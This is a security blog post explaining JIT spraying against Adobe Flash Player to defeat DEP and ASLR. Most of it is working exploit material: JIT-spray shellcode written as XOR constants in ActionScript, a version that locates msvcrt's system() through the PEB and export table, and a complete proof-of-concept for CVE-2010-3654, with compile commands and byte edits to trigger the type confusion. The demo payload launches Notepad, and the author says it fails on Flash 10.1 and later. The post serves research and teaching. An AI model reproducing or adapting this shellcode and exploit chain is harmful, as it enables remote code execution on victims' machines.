Lately, hackers are forced to be more and more creative as defense mechanisms are piling up, making exploitation more difficult. Most notably, data execution prevention (DEP) and address space layout randomization (ASLR), both present on Windows 7 and current browsers, make drive-by exploits a real pain. In this post we explain the concept of using the Just-In-Time (JIT) compiler to bypass DEP and ASLR.
It all started with SkyLined’s heap spraying technique, where JavaScript code on a web page was used to allocate many blocks on the heap, each containing a nop-sled and the shellcode (or stage-0). When DEP was not enabled, this was more than enough, as a jump to one of the allocated regions immediately started executing the shellcode (perhaps after a nop-sled). As DEP is currently enabled on all browsers, using heap sprays becomes more difficult, as return oriented programming (ROP) must be used, in spite of ASLR.
But why go through all these hurdles when you can simply use a region of memory that has both controllable data and execute permissions? You just need to find a program that must dynamically allocate memory in this fashion. A natural choice would be JIT compilers, as their sole purpose is to compile a scripting language (or byte-code) to machine instructions on the fly, so as to improve execution speed.
The concept of JIT spraying was first introduced by Dion Blazakis in his Black Hat presentation (better read the paper), where he focused on Adobe Flash Player, and the Adobe ActionScript Virtual Machine (AVM2). Alexey Sintsov continued Dion’s work, providing some source code along the way.
We now describe how to perform the JIT spray, with Adobe Flash Player 9 (standalone version) as an example, using ActionScript and SWF files. I always like to take a look at a format’s specification when I study exploitation details, so I encourage you to read the SWF format specification (or if you’re lazy, at least read a very short summary of it). To compile ActionScript code and manipulate SWF files, you can download Adobe Flex SDK or SWFTools. Most examples presented here are based on SWFTools.
First, let’s look at Alexey Sintsov’s simple JIT code:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
// Sprayng JIT.swf
//
// By Alexey Sintsov
// dookie@inbox.ru
// a.sintsov@dsec.ru
//
// DSecRG - Digital Security Research Group [dsecrg.com]
//
// hardcoded system() - notepad
//
package {
import flash.display.MovieClip
public class Main extends MovieClip
{
function funcXOR1()
{
var ret=(0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C90ec8b^
0x3C909055^0x3C90ec8b^0x646170b8^0x000000b9^0x3c90c12b^0x3c909050^0x3f6f6eb8^0x0000b990^0x3c909030^0x3c90c103^0x3c909050^0x3cf8458d^0x3c909050^0x35b89090^0x3c9077c1^
0x3c90c7b0^0x3c9093b4^0x3ccd0ff);
return ret;
}
function Main()
{
var ret1=funcXOR1();
}
}
} |
Compile using SWF tools:
as3compile -o jit.swf jit_simpl.as
Look at the resulting SWF file using a hex editor:

The “CWS” at the beginning of the file tells us that the SWF file is compressed. Let’s decompress it:
swfcombine -d -o jit_extracted.swf jit_simpl.swf
The contents of the extracted SWF are:

Manual decoding of the extracted SWF gives:
465753 - "FWS" signature 09 - Version 9 60040000 - Size 0x460 (1120 bytes) 70000FA00000BB80 - RECT record, 14 bits per field: twips: (0, 0) to (0x1F40, 0x1770) ==> pixels: (0, 0) to (400, 300) 0019 - 25.0 frames per second 0100 - One frame in file 4411 - Tag 69 (FileAttributes), size: 4 bytes 08 - ActionScript 3.0 000000 - Reserved BF14 - Tag 82 (DoABC), size in next 4 bytes 31040000 - Size 0x431 (1073 bytes) 00000000 - Flags 00 - Name (empty) ----- BEGIN abcFile ----- 0010 - Minor version 16 2E00 - Major version 46 constant_pool: 11 - 16 integer entries + 1 90A1C2E403 - integer[1] = 0x3C909090 D0A0C2E403 - integer[2] = 0x3C909050 8BD9C3E403 - integer[3] = 0x3C90EC8B AB82C3E403 - integer[4] = 0x3C90C12B B8E185A306 - integer[5] = 0x646170B8 D5A0C2E403 - integer[6] = 0x3C909055 B8DDBDFB03 - integer[7] = 0x3F6F6EB8 90F302 - integer[8] = 0xB990 B0A0C2E403 - integer[9] = 0x3C909030 8382C3E403 - integer[10] = 0x3C90C103 8D8BE1E703 - integer[11] = 0x3CF8458D 90A1E2AD03 - integer[12] = 0x35B89090 C1EFC1E403 - integer[13] = 0x3C9077C1 B08FC3E403 - integer[14] = 0x3C90C7B0 B4A7C2E403 - integer[15] = 0x3C9093B4 FFA1B31E - integer[16] = 0x03CCD0FF 00 - No uints 00 - No doubles 0D - 12 string entries + 1 00 - string[1] = "" 094D6F766965436C6970 - string[2] = "MovieClip" 0866756E63584F5231 - string[3] = "funcXOR1" 064F626A656374 - string[4] = "Object" 0F4576656E7444697370617463686572 - string[5] = "EventDispatcher" 0D446973706C61794F626A656374 - string[6] = "DisplayObject" 11496E7465726163746976654F626A656374 - string[7] = "InteractiveObject" 16446973706C61794F626A656374436F6E7461696E6572 - string[8] = "DisplayObjectContainer" 06537072697465 - string[9] = "Sprite" 044D61696E - string[10] = "Main" 0D666C6173682E646973706C6179 - string[11] = "flash.display" 0C666C6173682E6576656E7473 - string[12] = "flash.events" 05 - 4 namespaces + 1 160B - namespace[1] = Package NS: "flash.display" 1601 - namespace[2] = Package NS: "" (global) 160C - namespace[3] = Package NS: "flash.events" 1701 - namespace[4] = Package internal NS: "" 00 - No namespace sets 0A - 9 multinames + 1 070102 - multiname[1] = flash.display::MovieClip 070403 - multiname[2] = (internal)::funcXOR1 07020A - multiname[3] = ::Main 070204 - multiname[4] = ::Object 070305 - multiname[5] = flash.events::EventDispatcher 070106 - multiname[6] = flash.display::DisplayObject 070107 - multiname[7] = flash.display::InteractiveObject 070108 - multiname[8] = flash.display::DisplayObjectContainer 070109 - multiname[9] = flash.display::Sprite ...
This information is not necessary for the JIT spray itself, but it will come in handy soon enough, when we exploit a Flash Player vulnerability.
Loading the SWF file into Flash Player 9 (standalone version) we can see that the JIT compiler has generated code that matches the script that we’ve written:

However, if we manage to jump one byte into the code (right after the mov instruction), it will look very different:

Filtering out all the nops and nop-equivalents, we get:
mov ebp,esp push ebp mov ebp,esp mov eax,0x35646170 mov ecx,0x35000000 sub eax,ecx push eax mov eax,0x353f6f6e mov ecx,0x30350000 add eax,ecx push eax lea eax,dword ptr ss:[ebp-8] push eax mov eax,0x77c13535 mov al,0xc7 mov ah,0x93 call eax int 3
Which can be compressed to:
mov ebp,esp push 0x00646170 push 0x65746F6E sub ebp,8 push ebp ; Address of "notepad" on stack mov eax,0x77c193c7 ; msvcrt.system call eax int 3
The fact that we need to compensate for the xor opcode (0×35) makes the actual code larger.
As Alexey Sintsov mentioned, it’s important to keep the size of the code small, or else Flash Player will allocate more memory for the JIT code, resulting in much more distance between each loaded SWF file in the spray (the minimal distance we get is 0×10000). Additionally, each xored number must have its leftmost bit set to 0, or the code gets JITted with extra opcodes that ruin our shellcode. Moreover, it’s important to choose the right compiler for your ActionScript file. In this case, using mxmlc (from the Flex package) generates “xor ebx” opcodes, each taking 2 bytes, once again ruining our shellcode.
When loading the SWF many times (performing the JIT spray), we get the following memory layout:

We don’t have to worry much about Windows 7′s ASLR, since it’s not used for VirtualAlloc.
More Realistic Code
The proof of concept code uses the static address of msvcrt.dll’s system function (which is 0x77C193C7 in the given example, but 0x77C293C7 on current Windows XP SP3 machines). We don’t want to rely on static addresses, so here’s an ActionScript file that uses the Thread Information/Environment Block (TIB/TEB), to get to the Process Environment Block (PEB), search the loaded modules for msvcrt.dll, walk over its export table, and find the real address of system:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 |
// Original size: 0x185 bytes Flash Player header + XOR code + trailer
// The CVE-2010-3654 vulnerability will change EIP like this: [[[addr + 10h] + 4Ch] + 0Ch]
// Where "addr" is the address returned by the exploited function (see exploit code), currently 0x09090176
// The first 3 xored DWORDs are there for the aforementioned dereferencing
package {
import flash.display.MovieClip
public class Main extends MovieClip
{
function funcXOR1()
{
var ret = (
// 3 addresses for CVE-2010-3654's dereferencing + NOP sled (unused, really)
0x0909013F^0x09090184^0x09090195^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^0x3C909090^
// Find msvcrt.dll's base address through the PEB
// Most JIT xor bytes are not included
//
// 00688931 33C0 XOR EAX,EAX
// 00688933 B0 18 MOV AL,18
// 00688935 8BF8 MOV EDI,EAX
// 00688937 64:8B1F MOV EBX,DWORD PTR FS:[EDI]
// 0068893A B0 30 MOV AL,30
// 0068893C 8B1C18 MOV EBX,DWORD PTR DS:[EAX+EBX]
// 0068893F B0 0C MOV AL,0C
// 00688941 8B1C18 MOV EBX,DWORD PTR DS:[EAX+EBX]
// 00688944 B0 1C MOV AL,1C
// 00688946 8B1C18 MOV EBX,DWORD PTR DS:[EAX+EBX]
// 00688949 FC CLD
// 0068894A 33C9 XOR ECX,ECX
// 0068894C BA 6C356C00 MOV EDX,006C356C ; XOR embedded
// 00688951 B6 00 MOV DH,0
// 00688953 52 PUSH EDX
// 00688954 BA 2E356400 MOV EDX,0064352E ; XOR embedded
// 00688959 B6 00 MOV DH,0
// 0068895B 52 PUSH EDX
// 0068895C BA 72357400 MOV EDX,00743572 ; XOR embedded
// 00688961 B6 00 MOV DH,0
// 00688963 52 PUSH EDX
// 00688964 BA 76356300 MOV EDX,00633576 ; XOR embedded
// 00688969 B6 00 MOV DH,0
// 0068896B 52 PUSH EDX
// 0068896C BA 6D357300 MOV EDX,0073356D ; XOR embedded
// 00688971 B6 00 MOV DH,0
// 00688973 52 PUSH EDX
// 00688974 B0 20 MOV AL,20
// 00688976 8BF4 MOV ESI,ESP
// 00688978 8B3C18 MOV EDI,DWORD PTR DS:[EAX+EBX]
// 0068897B B1 05 MOV CL,5
// 0068897D F3:A7 REPE CMPS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
// 0068897F EB 01 JMP SHORT 00688982
// 00688981 90 NOP ; XOR
// 00688982 74 0A JE SHORT 0068898E
// 00688984 90 NOP
// 00688985 90 NOP
// 00688986 90 NOP ; XOR
// 00688987 8B1B MOV EBX,DWORD PTR DS:[EBX]
// 00688989 90 NOP
// 0068898A 90 NOP
// 0068898B 90 NOP ; XOR
// 0068898C EB E0 JMP SHORT 00688976 ; The operand byte here takes into account the xors/nops
// 0068898E 90 NOP
// 0068898F B0 08 MOV AL,8
// 00688991 8B1C18 MOV EBX,DWORD PTR DS:[EAX+EBX] ; EBX now contains msvcrt.dll's base address
// Find msvcrt.dll's base address and put it in EBX
0x3C90C033^0x3C9018B0^0x3C90F88B^0x3C1F8B64^0x3C9030B0^0x3C181C8B^0x3C900CB0^0x3C181C8B^0x3C901CB0^0x3C181C8B^0x3C9090FC^0x6CBAC933^
0x3C90006C^0x3C5200B6^0x2EBA9090^0x3C900064^0x3C5200B6^0x72BA9090^0x3C900074^0x3C5200B6^0x76BA9090^0x3C900063^0x3C5200B6^0x6DBA9090^
0x3C900073^0x3C5200B6^0x3C9020B0^0x3C90F48B^0x3C183C8B^0x3C9005B1^0x01EBA7F3^0x3C900A74^0x3C901B8B^0x3C90E0EB^0x3C9008B0^0x3C181C8B^
// Find the address of system using msvcrt.dll's export table
// The code assumes the function exists, and will probably crash if it doesn't
// Other assumptions on sizes of RVAs are also made (and noted in the code)
// Most JIT xor bytes are not included
//
// 02650CA5 B0 3C MOV AL,3C
// 02650CA7 8B0418 MOV EAX,DWORD PTR DS:[EAX+EBX] ; Start of PE header (should be just 1 byte, but 2 is also fine)
// 02650CAA 04 78 ADD AL,78
// 02650CAC EB 01 JMP SHORT 02650CAF
// 02650CAE 90 NOP ; XOR
// 02650CAF 80D4 00 ADC AH,0 ; There shouldn't be an overflow here
// 02650CB2 8B0418 MOV EAX,DWORD PTR DS:[EAX+EBX] ; Export dir
// 02650CB5 8BD0 MOV EDX,EAX
// 02650CB7 B1 1C MOV CL,1C
// 02650CB9 03D1 ADD EDX,ECX
// 02650CBB 8B041A MOV EAX,DWORD PTR DS:[EDX+EBX] ; Address of functions
// 02650CBE B1 04 MOV CL,4
// 02650CC0 03D1 ADD EDX,ECX
// 02650CC2 8B141A MOV EDX,DWORD PTR DS:[EDX+EBX] ; Address of names
// 02650CC5 B9 65350000 MOV ECX,3565
// 02650CCA B5 6D MOV CH,6D
// 02650CCC 51 PUSH ECX
// 02650CCD B9 73357374 MOV ECX,74733573
// 02650CD2 B5 79 MOV CH,79
// 02650CD4 51 PUSH ECX
// 02650CD5 33C9 XOR ECX,ECX
// 02650CD7 B1 07 MOV CL,7
// 02650CD9 8BF4 MOV ESI,ESP ; "system"
// 02650CDB 8B3C1A MOV EDI,DWORD PTR DS:[EDX+EBX]
// 02650CDE 03FB ADD EDI,EBX ; Address of exported function name
// 02650CE0 F3:A6 REPE CMPS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
// 02650CE2 EB 01 JMP SHORT 02650CE5
// 02650CE4 90 NOP ; XOR
// 02650CE5 74 17 JE SHORT 02650CFE
// 02650CE7 90 NOP
// 02650CE8 90 NOP
// 02650CE9 90 NOP ; XOR
// 02650CEA B1 04 MOV CL,4
// 02650CEC 90 NOP
// 02650CED 3C 35 CMP AL,35 ; XOR
// 02650CEF 03D1 ADD EDX,ECX
// 02650CF1 90 NOP
// 02650CF2 3C 35 CMP AL,35 ; XOR
// 02650CF4 03C1 ADD EAX,ECX
// 02650CF6 90 NOP
// 02650CF7 3C 35 CMP AL,35 ; XOR
// 02650CF9 EB D1 JMP SHORT 02650CD7 ; The operand byte here takes into account the xors/nops
// 02650CFB 90 NOP
// 02650CFC 3C 35 CMP AL,35 ; XOR
// 02650CFE 8B0418 MOV EAX,DWORD PTR DS:[EAX+EBX]
// 02650D01 03D8 ADD EBX,EAX ; EBX now holds the address of system
// Find the address of system and put it in EBX
0x3C903CB0^0x3C18048B^0x01EB7804^0x3C00D480^0x3C18048B^0x3C90D08B^0x3C901CB1^0x3C90D103^0x3C1A048B^0x3C9004B1^0x3C90D103^0x3C1A148B^
0x65B99090^0x3C900000^0x3C516DB5^0x73B99090^0x3C907473^0x3C5179B5^0x3C90C933^0x3C9007B1^0x3C90F48B^0x3C1A3C8B^0x3C90FB03^0x01EBA6F3^
0x3C901774^0x3C9004B1^0x3C90D103^0x3C90C103^0x3C90D1EB^0x3C18048B^0x3C90D803^
// Run notepad using system (call ebx)
0x3C90ec8b^0x3C909055^0x3C90ec8b^0x646170b8^0x000000b9^0x3c90c12b^0x3c909050^0x3f6f6eb8^0x0000b990^0x3c909030^0x3c90c103^0x3c909050^
0x3cf8458d^0x3c909050^0x3ccd3ff);
return ret;
}
function Main()
{
var ret1 = funcXOR1();
}
}
} |
The code is not optimized, but it does show you several ways of transforming assembly code into Flash Player compatible JIT code.
CVE-2010-3654
To really see the code in action, we use the CVE-2010-3654 Flash Player type confusion vulnerability. The vulnerability was already extensively analyzed, but the published exploit code didn’t use JIT spray at all. We now provide our own version of the exploit, which uses the more realistic JIT code provided above. Note that this time we use mxlmc (from the Flex package) for compilation.
For our exploit, we use 3 files: main.as, Original_Class.as, and Real_Ref_Class.as. Here they are, in this order:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 |
// CVE-2010-3654 PoC exploit using JIT spraying
// Written by Gal Badishi, http://www.badishi.com
// Compile using mxmlc and not as3compile
// See complete details at http://www.badishi.com/jit-spraying-primer-and-cve-2010-3654
package poc {
import flash.utils.*;
import flash.display.*;
import flash.text.*;
import flash.net.*;
public class main extends Sprite
{
var childRef:DisplayObject = null;
var MyTextField1:TextField = createTextField(10, 40, 300, 20);
function get get_test1():Real_Ref_Class
{
return null;
}
function doInterval():Original_Class {
var obj:Original_Class = Original_Class.static_func1();
obj.normal_func();
return null;
}
`
function pageLoad(i)
{
var ldr = new Loader();
var url = "jit.swf";
var urlReq = new URLRequest(url);
ldr.load(urlReq);
childRef = addChild(ldr); //returns a DisplayObject
MyTextField1.text = i + "";
}
public function main()
{
MyTextField1.type = TextFieldType.DYNAMIC;
for (var i = 0; i < 2000; i++) {
pageLoad(i+1);
}
setInterval(doInterval, 3000);
var obj:Original_Class = Original_Class.static_func1();
}
}
} |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
package poc {
public class Original_Class
{
public static function static_func1():Original_Class
{
return null;
}
public function normal_func():uint
{
return 0;
}
}
} |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
package poc {
import flash.display.Sprite
import flash.utils.*
public class Real_Ref_Class extends Sprite
{
public static function static_func1():uint
{
// This is the address "addr" that starts the whole thing (call [[[addr + 10h] + 4Ch] + 0Ch])
var str:uint = 0x09090176;
return str;
}
}
} |
To understand how the dereferncing works, take a look at the following code, showing how the call to obj.normal_func() looks like in machine code (compare to the comments in the code):

Assuming that all files (these 3 and the previous jit_real.as containing the realistic JIT code) reside in a directory called “poc” under the current working directory, run the following commands:
mxmlc -source-path=.\ poc\main.as cd poc as3compile -N -o jit.swf jit_real.swf as3combine -d -o main_extracted.swf main.swf
Now we need to induce the type confusion vulnerability for the exploit to work. Edit main_extracted.swf, and check the constant pool string entries for “Real_Ref_Class” (should be #2) and “Original_Class” (should be #3). Next, you should change the multiname of Original_Class to point to Real_Ref_Class. That is, in the multiname array you should see the bytes 070102070103 (for the two classes). Replace them with 070102070102, making Original_Class point to Real_Ref_Class. Naturally, if, for some reason, the constant strings in your file are not #2 and #3, change the numbers according to your pool.
After you change main_extracted.swf, simply load it into Flash Player. You’ll see “2000″ on the screen, meaning that the JIT spraying was over, and 3 seconds later you should see Notepad running.

nice post! does this still work with the latest flash version?
greets!
Thanks. It doesn’t work since version 10.1. I’ll possibly post some more info in the next few weeks.
Gal